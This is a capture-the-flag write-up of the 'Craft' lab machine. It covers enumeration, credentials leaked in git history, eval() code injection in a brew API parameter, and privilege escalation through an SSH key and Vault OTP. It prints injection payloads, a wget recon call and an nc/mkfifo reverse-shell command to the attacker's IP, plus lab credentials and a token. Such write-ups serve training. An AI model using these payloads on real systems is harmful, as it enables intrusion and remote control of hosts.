The initial nmap scan for Craft didn’t reveal a lot of open ports:
# Nmap 7.70 scan initiated Thu Jul 18 15:19:14 2019 as: nmap -o nmap_full -p- 10.10.10.110 Nmap scan report for 10.10.10.110 Host is up (0.032s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 443/tcp open https 6022/tcp open x11
There were 2 SSH ports open (6022/tcp was SSH, not x11) and otherwise only HTTPS. The certificate of the site had a common name of “craft.htb”, so we added that to “/etc/hosts”. The HTTPS site was practically just static content (accessing via the IP and the “craft.htb” name gave the same page):
However, at the top right were two links to two different subdomains. “https://api.craft.htb/api” and “https://gogs.craft.htb/”. We add those also to “/etc/hosts”:
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb
The API subdomain is a Swagger UI interface:
But all the interesting enpoints require either a token or credentials to login.
“gogs.craft.htb” is a self hosted Git service. Browsing the site we can get access to the source code of the API. But also the issue tracker is available:
Thanks to that issue we now know what header the API expects from us. The token in the issue is however already expired. More interestingly the last comment of that issue was:
That sounds suspicious, let’s check out that commit:
That eval() on line 43 is practically executing any code we pass to it in the abv parameter. But we still need a token first. After a few dead-ends we take a look at the commit history of the project, there are only 6 commits in total and one in particular contained user credentials and in a later commit they were removed again:
With those credentials we can now login and get a token back:
# curl "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H "accept: application/json" -k {"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTYzNTY5Nzc2fQ.KIWXhhroDYI4R_OieAyBxZkR-Ck1C3Nm5FdOV-5BPms"}
Using this token we can now access the “/api/brew” endpoint which uses the insecure eval().
There are a few restrictions though, it expects python code and we will not get the result printed back. Passing something like this as the “abv” value will execute the “sleep 5” command which we can easily detect by the time it takes to respond:
__import__(\"os\").system(\"sleep 5\")
Immediately spawning a reverse shell didn’t work, but we can do some basic recon like this:
# does nc exist? __import__(\"os\").system(\"which nc && sleep 5\") # does bash exist? __import__(\"os\").system(\"which bash && sleep 5\") # are outbound connections to port 80 possible? __import__(\"os\").system(\"wget http://10.10.14.26/\")
“nc” did exist (but probably didn’t support the “-e” flag), bash did not exist and outbound connections were possible, also to other ports. But a alternative reverse shell using “nc” without the “-e” flag worked. We start a local nc listener first locally on port 4444/tcp and then run:
# curl -X POST "https://api.craft.htb/api/brew/" \ -H "X-Craft-API-Token: $TOKEN" \ -H "accept: application/json" \ -H "Content-Type: application/json" \ -d '{ "id": 0, "brewer": "string", "name": "string", "style": "string", "abv": "__import__(\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 4444 >/tmp/f\")"}' -k
And we get a connection back:
Of course this isn’t the final root shell, as it turns out this system runs inside a Docker container. Which also explains why “bash” does not exist on it. There isn’t much on the system but it does have access to a MySQL server. Very helpfully a “mysql_client.py” script is already ready for our use. From there we can get additional credentials:
We then try those to login at the various services and figure out that “dinesh” and “gilfoyle” can login at the Gogs instance. Gilfoyle has a private repository set up at Gogs, “craft-infra”:
In the “.ssh” folder is a SSH private key, we download it. There is also the correspondingĀ public key, the comment in there indicates that the key is for “gilfolye@craft.htb”. We use that key to login, the passphrase is the same as the password we got from MySQL for gilfolye:
In the repository is one more interesting configuration. Vault is being used to store credentials, and there is a configuration for root SSH using OTP:
We simply use this to login as root:
Vault happily gives us the one time password with which we can login as root.